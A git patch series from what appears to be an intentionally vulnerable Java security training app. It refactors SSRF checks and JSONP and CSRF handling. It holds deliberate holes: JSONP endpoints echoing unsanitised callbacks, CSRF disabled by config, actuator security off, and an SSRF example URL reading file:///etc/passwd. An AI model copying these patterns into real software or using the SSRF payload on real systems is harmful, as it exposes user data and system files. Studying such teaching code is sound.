(whiteDomainlists.indexOf(host) != -1) { return "Good url."; } diff --git a/src/main/java/org/joychou/controller/XXE.java b/src/main/java/org/joychou/controller/XXE.java index 11280a51..5bc9d683 100644 --- a/src/main/java/org/joychou/controller/XXE.java +++ b/src/main/java/org/joychou/controller/XXE.java @@ -101,7 +101,6 @@ public String xxe_SAXBuilder_fix(HttpServletRequest request) { return "ok"; } catch (Exception e) { - System.out.println(e); return "except"; } } diff --git a/src/main/java/org/joychou/security/SSRFChecker.java b/src/main/java/org/joychou/security/SSRFChecker.java index 1a4a5d91..1dcbf591 100644 --- a/src/main/java/org/joychou/security/SSRFChecker.java +++ b/src/main/java/org/joychou/security/SSRFChecker.java @@ -8,7 +8,7 @@ public class SSRFChecker { - public static int connectTime = 5*1000; // 设置连接超时时间5s + private static int connectTime = 5*1000; // 设置连接超时时间5s /** * 解析url的ip，判断ip是否是内网ip，所以TTL设置为0的情况不适用。 @@ -54,13 +54,12 @@ public static Boolean checkSSRF(String url) { } - /** * 判断一个URL的IP是否是内网IP * * @return 如果是内网IP，返回true；非内网IP，返回false。 */ - public static boolean isInnerIPByUrl(String url) throws Exception { + public static Boolean isInnerIPByUrl(String url) { String host = url2host(url); if (host.equals("")) { return true; // 异常URL当成内网IP等非法URL处理 @@ -78,10 +77,10 @@ public static boolean isInnerIPByUrl(String url) throws Exception { /** * 使用SubnetUtils库判断ip是否在内网网段 * - * @param strIP + * @param strIP ip字符串 * @return 如果是内网ip，返回true，否则返回false。 */ - public static boolean isInnerIp(String strIP){ + private static boolean isInnerIp(String strIP){ String blackSubnetlist[] = {"10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16", "127.0.0.0/8"}; @@ -102,9 +101,9 @@ public static boolean isInnerIp(String strIP){ * 167772161转换为10.0.0.1 * 127.0.0.1.xip.io转换为127.0.0.1 * - * @param host + * @param host 域名host */ - public static String host2ip(String host) { + private static String host2ip(String host) { try { InetAddress IpAddress = InetAddress.getByName(host); // send dns request return IpAddress.getHostAddress(); @@ -117,9 +116,9 @@ public static String host2ip(String host) { /** * 从URL中获取host，限制为http/https协议。只支持http:// 和 https://，不支持//的http协议。 * - * @param url + * @param url http的url */ - public static String url2host(String url) { + private static String url2host(String url) { try { // 使用URI，而非URL，防止被绕过。 URI u = new URI(url); diff --git a/src/main/java/org/joychou/security/SecurityUtil.java b/src/main/java/org/joychou/security/SecurityUtil.java index e3fdc4eb..6eab2cac 100644 --- a/src/main/java/org/joychou/security/SecurityUtil.java +++ b/src/main/java/org/joychou/security/SecurityUtil.java @@ -51,4 +51,15 @@ public static Boolean checkSSRF(String url) { } } + + /** + * Suitable for: TTL isn't set to 0 & Redirect is forbidden. + * + * @param url the url needs to check + * @return Safe url returns true. Dangerous url returns false. + */ + public static boolean checkSSRFWithoutRedirect(String url) { + return !SSRFChecker.isInnerIPByUrl(url); + } + } \ No newline at end of file diff --git a/src/main/java/org/joychou/security/secFilter.java b/src/main/java/org/joychou/security/secFilter.java index e9bdf653..072f7fca 100644 --- a/src/main/java/org/joychou/security/secFilter.java +++ b/src/main/java/org/joychou/security/secFilter.java @@ -1,6 +1,5 @@ package org.joychou.security; -import org.springframework.http.MediaType; import javax.servlet.*; import javax.servlet.annotation.WebFilter; @@ -11,8 +10,11 @@ /** - * usage: 对所有带有callback参数的get请求做referer校验，如果校验失败返回403页面 - * desc: 除了以下代码，还需要在Application.java中添加@ServletComponentScan注解 + * Check referer for all GET requests with callback parameters. + * If the check of referer fails, a 403 forbidden error page will be returned. + * + * Still need to add @ServletComponentScan annotation in Application.java. + * */ @WebFilter(filterName = "referSecCheck", urlPatterns = "/*") public class secFilter implements Filter { @@ -32,9 +34,9 @@ public void doFilter(ServletRequest req, ServletResponse res, FilterChain filter String refer = request.getHeader("referer"); String referWhitelist[] = {"joychou.org", "joychou.com"}; - // get method and includes callback parameter + // Check referer for all GET requests with callback parameters. if (request.getMethod().equals("GET") && StringUtils.isNotBlank(request.getParameter("callback")) ){ - // if check referer failed, redirect 403 forbidden page. + // If the check of referer fails, a 403 forbidden error page will be returned. if (!SecurityUtil.checkURLbyEndsWith(refer, referWhitelist)){ response.sendRedirect("https://test.joychou.org/error3.html"); return; From 85ca363abd42159c29cced7a8a3ad1901ce73faa Mon Sep 17 00:00:00 2001 From: JoyChou Date: Fri, 28 Jun 2019 16:38:31 +0800 Subject: [PATCH 033/108] update readme --- README.md | 1 + README_zh.md | 42 ++++++++++--------- .../java/org/joychou/controller/SSRF.java | 20 ++++++--- src/main/java/org/joychou/controller/XXE.java | 6 +-- 4 files changed, 40 insertions(+), 29 deletions(-) diff --git a/README.md b/README.md index 1e987246..c7f42841 100644 --- a/README.md +++ b/README.md @@ -44,6 +44,7 @@ Sort by letter. - [Java RMI](https://github.com/JoyChou93/java-sec-code/wiki/Java-RMI) - [JSONP](https://github.com/JoyChou93/java-sec-code/wiki/JSONP) - [SQLI](https://github.com/JoyChou93/java-sec-code/wiki/SQL-Inject) +- [SSRF](https://github.com/JoyChou93/java-sec-code/wiki/SSRF) - [URL whitelist Bypass](https://github.com/JoyChou93/java-sec-code/wiki/URL-whtielist-Bypass) - [XXE](https://github.com/JoyChou93/java-sec-code/wiki/XXE) - [Others](https://github.com/JoyChou93/java-sec-code/wiki/others) diff --git a/README_zh.md b/README_zh.md index 66897133..1d8a5d3b 100644 --- a/README_zh.md +++ b/README_zh.md @@ -12,36 +12,38 @@ ## 漏洞代码 -- [XXE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XXE.java) -- [SSRF](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SSRF.java) -- [URL重定向](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/URLRedirect.java) -- [IP伪造](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/IPForge.java) -- [XSS](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XSS.java) -- [CRLF注入](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/CRLFInjection.java) -- [远程命令执行](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Rce.java) -- [反序列化](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Deserialize.java) -- [文件上传](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/FileUpload.java) -- [SQL注入](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SQLI.java) -- [URL白名单Bypass](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/URLWhiteList.java) -- [Java RMI](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/RMI/Server.java) -- [Fastjson](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Fastjson.java) +- [Actuators to RCE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/resources/logback.xml) - [CORS](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/CORS.java) +- [CRLF Injection](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/CRLFInjection.java) +- [CSRF](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/WebSecurityConfig.java) +- [Deserialize](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Deserialize.java) +- [Fastjson](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Fastjson.java) +- [File Upload](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/FileUpload.java) +- [IP Forge](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/IPForge.java) +- [Java RMI](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/RMI/Server.java) - [JSONP](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/JSONP.java) +- [RCE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Rce.java) - [SPEL](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SPEL.java) -- [Actuators to RCE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/resources/logback.xml) -- [CSRF](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/WebSecurityConfig.java) +- [SQL Injection](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SQLI.java) +- [SSRF](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SSRF.java) +- [URL Redirect](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/URLRedirect.java) +- [URL whitelist Bypass](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/URLWhiteList.java) +- [XSS](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XSS.java) +- [XXE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XXE.java) + ## 漏洞说明 -- [Java RMI](https://github.com/JoyChou93/java-sec-code/wiki/Java-RMI) -- [XXE](https://github.com/JoyChou93/java-sec-code/wiki/XXE) -- [SQLI](https://github.com/JoyChou93/java-sec-code/wiki/SQL-Inject) -- [Fastjson](https://github.com/JoyChou93/java-sec-code/wiki/Fastjson) +- [Actuators to RCE](https://github.com/JoyChou93/java-sec-code/wiki/Actuators-to-RCE) - [CORS](https://github.com/JoyChou93/java-sec-code/wiki/CORS) - [CSRF](https://github.com/JoyChou93/java-sec-code/wiki/CSRF) +- [Fastjson](https://github.com/JoyChou93/java-sec-code/wiki/Fastjson) +- [Java RMI](https://github.com/JoyChou93/java-sec-code/wiki/Java-RMI) - [JSONP](https://github.com/JoyChou93/java-sec-code/wiki/JSONP) -- [Actuators to RCE](https://github.com/JoyChou93/java-sec-code/wiki/Actuators-to-RCE) +- [SQLI](https://github.com/JoyChou93/java-sec-code/wiki/SQL-Inject) +- [SSRF](https://github.com/JoyChou93/java-sec-code/wiki/SSRF) - [URL whitelist Bypass](https://github.com/JoyChou93/java-sec-code/wiki/URL-whtielist-Bypass) +- [XXE](https://github.com/JoyChou93/java-sec-code/wiki/XXE) - [Others](https://github.com/JoyChou93/java-sec-code/wiki/others) diff --git a/src/main/java/org/joychou/controller/SSRF.java b/src/main/java/org/joychou/controller/SSRF.java index 3f731506..f774fb27 100644 --- a/src/main/java/org/joychou/controller/SSRF.java +++ b/src/main/java/org/joychou/controller/SSRF.java @@ -99,6 +99,11 @@ public static String ssrf_Request(HttpServletRequest request) } + /** + * Download the url file. + * http://localhost:8080/ssrf/openStream?url=file:///etc/passwd + * + */ @RequestMapping("/openStream") @ResponseBody public static void ssrf_openStream (HttpServletRequest request, HttpServletResponse response) throws IOException { @@ -155,6 +160,11 @@ public static void ssrf_okhttp(HttpServletRequest request) throws IOException { } + /** + * http://localhost:8080/ssrf/HttpClient?url=http://www.baidu.com + * + * @return The response of url param. + */ @RequestMapping("/HttpClient") @ResponseBody public static String ssrf_HttpClient(HttpServletRequest request) { @@ -180,10 +190,9 @@ public static String ssrf_HttpClient(HttpServletRequest request) { /** - * Safe code: http://localhost:8080/ssrf/commonsHttpClient?url=http://www.baidu.com + * Safe code. + * http://localhost:8080/ssrf/commonsHttpClient?url=http://www.baidu.com * - * @param request - * @return */ @RequestMapping("/commonsHttpClient") @ResponseBody @@ -229,10 +238,9 @@ public static String commonsHttpClient(HttpServletRequest request) { /** - * http://localhost:8080/ssrf/ImageIO_safe?url= + * Safe code. + * http://localhost:8080/ssrf/ImageIO_safe?url=http://www.baidu.com * - * @param request - * @return */ @RequestMapping("/ImageIO_safe") @ResponseBody diff --git a/src/main/java/org/joychou/controller/XXE.java b/src/main/java/org/joychou/controller/XXE.java index 5bc9d683..46d0ba39 100644 --- a/src/main/java/org/joychou/controller/XXE.java +++ b/src/main/java/org/joychou/controller/XXE.java @@ -22,9 +22,9 @@ /** - * @author JoyChou (joychou@joychou.org) - * @date 2017.12.22 - * @desc Java XXE vul code. + * Java xxe vul and safe code. + * + * @author JoyChou @2017-12-22 */ @Controller From 6844b0a7f0dc9e1bfc65de94ead593dffd73b982 Mon Sep 17 00:00:00 2001 From: JoyChou Date: Wed, 3 Jul 2019 16:11:29 +0800 Subject: [PATCH 034/108] add configure code of json to jsonp --- README.md | 2 +- README_zh.md | 2 +- .../java/org/joychou/controller/JSONP.java | 71 --------------- .../org/joychou/controller/jsonp/JSONP.java | 89 +++++++++++++++++++ .../joychou/controller/jsonp/JSONPAdvice.java | 12 +++ .../java/org/joychou/security/secFilter.java | 10 +++ src/main/resources/application.properties | 5 +- 7 files changed, 117 insertions(+), 74 deletions(-) delete mode 100644 src/main/java/org/joychou/controller/JSONP.java create mode 100644 src/main/java/org/joychou/controller/jsonp/JSONP.java create mode 100644 src/main/java/org/joychou/controller/jsonp/JSONPAdvice.java diff --git a/README.md b/README.md index c7f42841..fe8e008b 100644 --- a/README.md +++ b/README.md @@ -15,7 +15,7 @@ Each vulnerability type code has a security vulnerability by default unless ther Sort by letter. -- [Actuators to RCE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/resources/logback.xml) +- [Actuators to RCE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/resources/logback-online.xml) - [CORS](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/CORS.java) - [CRLF Injection](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/CRLFInjection.java) - [CSRF](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/WebSecurityConfig.java) diff --git a/README_zh.md b/README_zh.md index 1d8a5d3b..2cffe424 100644 --- a/README_zh.md +++ b/README_zh.md @@ -12,7 +12,7 @@ ## 漏洞代码 -- [Actuators to RCE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/resources/logback.xml) +- [Actuators to RCE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/resources/logback-online.xml) - [CORS](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/CORS.java) - [CRLF Injection](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/CRLFInjection.java) - [CSRF](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/WebSecurityConfig.java) diff --git a/src/main/java/org/joychou/controller/JSONP.java b/src/main/java/org/joychou/controller/JSONP.java deleted file mode 100644 index 77bc47f4..00000000 --- a/src/main/java/org/joychou/controller/JSONP.java +++ /dev/null @@ -1,71 +0,0 @@ -package org.joychou.controller; - -import org.joychou.security.SecurityUtil; -import org.springframework.stereotype.Controller; -import org.springframework.web.bind.annotation.*; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; - - -/** - * @author JoyChou (joychou@joychou.org) - * @date 2018年10月24日 - */ - -@Controller -@RequestMapping("/jsonp") -public class JSONP { - - protected static String info = "{\"name\": \"JoyChou\", \"phone\": \"18200001111\"}"; - protected static String[] urlwhitelist = {"joychou.com", "joychou.org"}; - - - // http://localhost:8080/jsonp/referer?callback=test - @RequestMapping("/referer") - @ResponseBody - private static String referer(HttpServletRequest request, HttpServletResponse response) { - // JSONP的跨域设置 - response.setHeader("Access-Control-Allow-Origin", "*"); - String callback = request.getParameter("callback"); - return callback + "(" + info + ")"; - } - - /** - * 直接访问不限制Referer，非直接访问限制Referer (开发同学喜欢这样进行JSONP测试) - * http://localhost:8080/jsonp/emptyReferer?callback=test - * - */ - @RequestMapping("/emptyReferer") - @ResponseBody - private static String emptyReferer(HttpServletRequest request, HttpServletResponse response) { - String referer = request.getHeader("referer"); - response.setHeader("Access-Control-Allow-Origin", "*"); - - // 如果referer不为空，并且referer不在安全域名白名单内，return error - // 导致空referer就会绕过校验。开发同学为了方便测试，不太喜欢校验空Referer - if (null != referer && !SecurityUtil.checkURLbyEndsWith(referer, urlwhitelist)) { - return "error"; - } - - String callback = request.getParameter("callback"); - return callback + "(" + info + ")"; - } - - // http://localhost:8080/jsonp/sec?callback=test - @RequestMapping("/sec") - @ResponseBody - private static String sec(HttpServletRequest request, HttpServletResponse response) { - // JSONP的跨域设置 - response.setHeader("Access-Control-Allow-Origin", "*"); - String referer = request.getHeader("referer"); - - if (!SecurityUtil.checkURLbyEndsWith(referer, urlwhitelist)) { - return "error"; - } - - String callback = request.getParameter("callback"); - return callback + "(" + info + ")"; - } - - -} \ No newline at end of file diff --git a/src/main/java/org/joychou/controller/jsonp/JSONP.java b/src/main/java/org/joychou/controller/jsonp/JSONP.java new file mode 100644 index 00000000..f78b2aa8 --- /dev/null +++ b/src/main/java/org/joychou/controller/jsonp/JSONP.java @@ -0,0 +1,89 @@ +package org.joychou.controller.jsonp; + +import com.alibaba.fastjson.JSON; +import com.alibaba.fastjson.JSONObject; +import org.joychou.security.SecurityUtil; +import org.springframework.http.MediaType; +import org.springframework.web.bind.annotation.*; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; + + + +/** + * @author JoyChou (joychou@joychou.org) @ 2018.10.24 + * https://github.com/JoyChou93/java-sec-code/wiki/JSONP + */ + +@RestController +@RequestMapping("/jsonp") +public class JSONP { + + private static String info = "{\"name\": \"JoyChou\", \"phone\": \"18200001111\"}"; + private static String[] urlwhitelist = {"joychou.com", "joychou.org"}; + + + /** + * Set the response content-type to application/javascript. + * + * http://localhost:8080/jsonp/referer?callback=test + * + */ + @RequestMapping(value = "/referer", produces = "application/javascript") + private static String referer(HttpServletRequest request, HttpServletResponse response) { + String callback = request.getParameter("callback"); + return callback + "(" + info + ")"; + } + + /** + * Direct access does not check Referer, non-direct access check referer. + * Developer like to do jsonp testing like this. + * + * http://localhost:8080/jsonp/emptyReferer?callback=test + * + */ + @RequestMapping(value = "/emptyReferer", produces = "application/javascript") + private static String emptyReferer(HttpServletRequest request, HttpServletResponse response) { + String referer = request.getHeader("referer"); + + if (null != referer && !SecurityUtil.checkURLbyEndsWith(referer, urlwhitelist)) { + return "error"; + } + + String callback = request.getParameter("callback"); + return callback + "(" + info + ")"; + } + + /** + * Adding callback or cback on parameter can automatically return jsonp data. + * http://localhost:8080/jsonp/advice?callback=test + * http://localhost:8080/jsonp/advice?cback=test + * + * @return Only return object, AbstractJsonpResponseBodyAdvice can be used successfully. + * Such as JSONOjbect or JavaBean. String type cannot be used. + */ + @RequestMapping(value = "/advice", produces = MediaType.APPLICATION_JSON_VALUE) + public JSONObject advice() { + return JSON.parseObject(info); + + } + + /** + * Safe code. + * http://localhost:8080/jsonp/sec?callback=test + */ + @RequestMapping(value = "/sec", produces = "application/javascript") + private static String safecode(HttpServletRequest request, HttpServletResponse response) { + String referer = request.getHeader("referer"); + + if (!SecurityUtil.checkURLbyEndsWith(referer, urlwhitelist)) { + return "error"; + } + + String callback = request.getParameter("callback"); + return callback + "(" + info + ")"; + } + + + +} \ No newline at end of file diff --git a/src/main/java/org/joychou/controller/jsonp/JSONPAdvice.java b/src/main/java/org/joychou/controller/jsonp/JSONPAdvice.java new file mode 100644 index 00000000..19b3a6e0 --- /dev/null +++ b/src/main/java/org/joychou/controller/jsonp/JSONPAdvice.java @@ -0,0 +1,12 @@ +package org.joychou.controller.jsonp; + +import org.springframework.web.bind.annotation.ControllerAdvice; +import org.springframework.web.servlet.mvc.method.annotation.AbstractJsonpResponseBodyAdvice; + +@ControllerAdvice +public class JSONPAdvice extends AbstractJsonpResponseBodyAdvice { + + public JSONPAdvice() { + super("callback", "cback"); // Can set multiple paramNames + } +} diff --git a/src/main/java/org/joychou/security/secFilter.java b/src/main/java/org/joychou/security/secFilter.java index 072f7fca..a7f443f3 100644 --- a/src/main/java/org/joychou/security/secFilter.java +++ b/src/main/java/org/joychou/security/secFilter.java @@ -7,6 +7,7 @@ import javax.servlet.http.HttpServletResponse; import java.io.IOException; import org.apache.commons.lang.StringUtils; +import org.springframework.beans.factory.annotation.Value; /** @@ -19,6 +20,9 @@ @WebFilter(filterName = "referSecCheck", urlPatterns = "/*") public class secFilter implements Filter { + @Value("${org.joychou.security.jsonp}") + private Boolean jsonpSwitch; // get application.properties configure + @Override public void init(FilterConfig filterConfig) throws ServletException { @@ -28,6 +32,12 @@ public void init(FilterConfig filterConfig) throws ServletException { public void doFilter(ServletRequest req, ServletResponse res, FilterChain filterChain) throws IOException, ServletException { + + // If don't check referer, return. + if (!jsonpSwitch) { + return ; + } + HttpServletRequest request = (HttpServletRequest) req; HttpServletResponse response = (HttpServletResponse) res; diff --git a/src/main/resources/application.properties b/src/main/resources/application.properties index cdb84e53..47fdf5a3 100644 --- a/src/main/resources/application.properties +++ b/src/main/resources/application.properties @@ -1,4 +1,7 @@ # Spring Boot Actuator Vulnerable Config management.security.enabled=false -logging.config=classpath:logback-online.xml \ No newline at end of file +logging.config=classpath:logback-online.xml + +# jsonp check referer switch +org.joychou.security.jsonp = true \ No newline at end of file From f37f9b2bc45d87653a70b4d0760e6e325508ebc9 Mon Sep 17 00:00:00 2001 From: JoyChou Date: Wed, 3 Jul 2019 23:35:11 +0800 Subject: [PATCH 035/108] add csrf switch --- README.md | 4 ++-- README_zh.md | 4 ++-- .../{ => security}/CsrfAccessDeniedHandler.java | 10 +++++----- .../joychou/{ => security}/WebSecurityConfig.java | 14 +++++++++++++- .../security/{secFilter.java => jsonpFilter.java} | 2 +- src/main/resources/application.properties | 5 +++-- 6 files changed, 26 insertions(+), 13 deletions(-) rename src/main/java/org/joychou/{ => security}/CsrfAccessDeniedHandler.java (91%) rename src/main/java/org/joychou/{ => security}/WebSecurityConfig.java (86%) rename src/main/java/org/joychou/security/{secFilter.java => jsonpFilter.java} (97%) diff --git a/README.md b/README.md index fe8e008b..b1f4b020 100644 --- a/README.md +++ b/README.md @@ -18,13 +18,13 @@ Sort by letter. - [Actuators to RCE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/resources/logback-online.xml) - [CORS](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/CORS.java) - [CRLF Injection](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/CRLFInjection.java) -- [CSRF](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/WebSecurityConfig.java) +- [CSRF](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/security/WebSecurityConfig.java) - [Deserialize](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Deserialize.java) - [Fastjson](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Fastjson.java) - [File Upload](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/FileUpload.java) - [IP Forge](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/IPForge.java) - [Java RMI](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/RMI/Server.java) -- [JSONP](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/JSONP.java) +- [JSONP](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/jsonp/JSONP.java) - [RCE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Rce.java) - [SPEL](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SPEL.java) - [SQL Injection](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SQLI.java) diff --git a/README_zh.md b/README_zh.md index 2cffe424..e5d00569 100644 --- a/README_zh.md +++ b/README_zh.md @@ -15,13 +15,13 @@ - [Actuators to RCE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/resources/logback-online.xml) - [CORS](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/CORS.java) - [CRLF Injection](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/CRLFInjection.java) -- [CSRF](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/WebSecurityConfig.java) +- [CSRF](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/security/WebSecurityConfig.java) - [Deserialize](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Deserialize.java) - [Fastjson](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Fastjson.java) - [File Upload](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/FileUpload.java) - [IP Forge](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/IPForge.java) - [Java RMI](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/RMI/Server.java) -- [JSONP](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/JSONP.java) +- [JSONP](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/jsonp/JSONP.java) - [RCE](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/Rce.java) - [SPEL](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SPEL.java) - [SQL Injection](https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/SQLI.java) diff --git a/src/main/java/org/joychou/CsrfAccessDeniedHandler.java b/src/main/java/org/joychou/security/CsrfAccessDeniedHandler.java similarity index 91% rename from src/main/java/org/joychou/CsrfAccessDeniedHandler.java rename to src/main/java/org/joychou/security/CsrfAccessDeniedHandler.java index ed043ac2..81b6b0f2 100644 --- a/src/main/java/org/joychou/CsrfAccessDeniedHandler.java +++ b/src/main/java/org/joychou/security/CsrfAccessDeniedHandler.java @@ -1,4 +1,4 @@ -package org.joychou; +package org.joychou.security; import org.springframework.http.MediaType; @@ -11,12 +11,12 @@ import javax.servlet.http.HttpServletResponse; import java.io.IOException; +/** + * Design csrf access denied page. + * + */ public class CsrfAccessDeniedHandler implements AccessDeniedHandler { - /** - * Design csrf access denied page. - * - */ @Override public void handle(HttpServletRequest request, HttpServletResponse response, AccessDeniedException accessDeniedException) throws IOException, ServletException { diff --git a/src/main/java/org/joychou/WebSecurityConfig.java b/src/main/java/org/joychou/security/WebSecurityConfig.java similarity index 86% rename from src/main/java/org/joychou/WebSecurityConfig.java rename to src/main/java/org/joychou/security/WebSecurityConfig.java index 5254547e..68af7121 100644 --- a/src/main/java/org/joychou/WebSecurityConfig.java +++ b/src/main/java/org/joychou/security/WebSecurityConfig.java @@ -1,5 +1,6 @@ -package org.joychou; +package org.joychou.security; +import org.springframework.beans.factory.annotation.Value; import org.springframework.context.annotation.Configuration; import org.springframework.security.config.annotation.web.builders.HttpSecurity; import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity; @@ -10,10 +11,18 @@ import java.util.Arrays; import java.util.HashSet; + +/** + * Congifure csrf + * + */ @EnableWebSecurity @Configuration public class WebSecurityConfig extends WebSecurityConfigurerAdapter { + @Value("${org.joychou.security.csrf}") + private Boolean csrfSwitch; // get csrf switch in application.properties + RequestMatcher csrfRequestMatcher = new RequestMatcher() { // 配置不需要CSRF校验的请求方式 @@ -23,6 +32,9 @@ public class WebSecurityConfig extends WebSecurityConfigurerAdapter { @Override public boolean matches(HttpServletRequest request) { // return false表示不校验csrf + if (!csrfSwitch) { + return false; + } return !this.allowedMethods.contains(request.getMethod()); } diff --git a/src/main/java/org/joychou/security/secFilter.java b/src/main/java/org/joychou/security/jsonpFilter.java similarity index 97% rename from src/main/java/org/joychou/security/secFilter.java rename to src/main/java/org/joychou/security/jsonpFilter.java index a7f443f3..7fd2f123 100644 --- a/src/main/java/org/joychou/security/secFilter.java +++ b/src/main/java/org/joychou/security/jsonpFilter.java @@ -18,7 +18,7 @@ * */ @WebFilter(filterName = "referSecCheck", urlPatterns = "/*") -public class secFilter implements Filter { +public class jsonpFilter implements Filter { @Value("${org.joychou.security.jsonp}") private Boolean jsonpSwitch; // get application.properties configure diff --git a/src/main/resources/application.properties b/src/main/resources/application.properties index 47fdf5a3..a0469477 100644 --- a/src/main/resources/application.properties +++ b/src/main/resources/application.properties @@ -1,7 +1,8 @@ # Spring Boot Actuator Vulnerable Config management.security.enabled=false -logging.config=classpath:logback-online.xml +# logging.config=classpath:logback-online.xml # jsonp check referer switch -org.joychou.security.jsonp = true \ No newline at end of file +org.joychou.security.jsonp = true +org.joychou.security.csrf = false \ No newline at end of file From d330c45a517d9369ea33f16492648fc5ab0a3626 Mon Sep 17 00:00:00 2001 From: JoyChou Date: Thu, 4 Jul 2019 00:09:35 +0800 Subject: [PATCH 036/108] fix bug --- .../org/joychou/security/jsonpFilter.java | 21 ++++++++----------- src/main/resources/application.properties | 2 +- 2 files changed, 10 insertions(+), 13 deletions(-) diff --git a/src/main/java/org/joychou/security/jsonpFilter.java b/src/main/java/org/joychou/security/jsonpFilter.java index 7fd2f123..e88d854f 100644 --- a/src/main/java/org/joychou/security/jsonpFilter.java +++ b/src/main/java/org/joychou/security/jsonpFilter.java @@ -32,27 +32,24 @@ public void init(FilterConfig filterConfig) throws ServletException { public void doFilter(ServletRequest req, ServletResponse res, FilterChain filterChain) throws IOException, ServletException { - - // If don't check referer, return. - if (!jsonpSwitch) { - return ; - } - HttpServletRequest request = (HttpServletRequest) req; HttpServletResponse response = (HttpServletResponse) res; String refer = request.getHeader("referer"); String referWhitelist[] = {"joychou.org", "joychou.com"}; - // Check referer for all GET requests with callback parameters. - if (request.getMethod().equals("GET") && StringUtils.isNotBlank(request.getParameter("callback")) ){ - // If the check of referer fails, a 403 forbidden error page will be returned. - if (!SecurityUtil.checkURLbyEndsWith(refer, 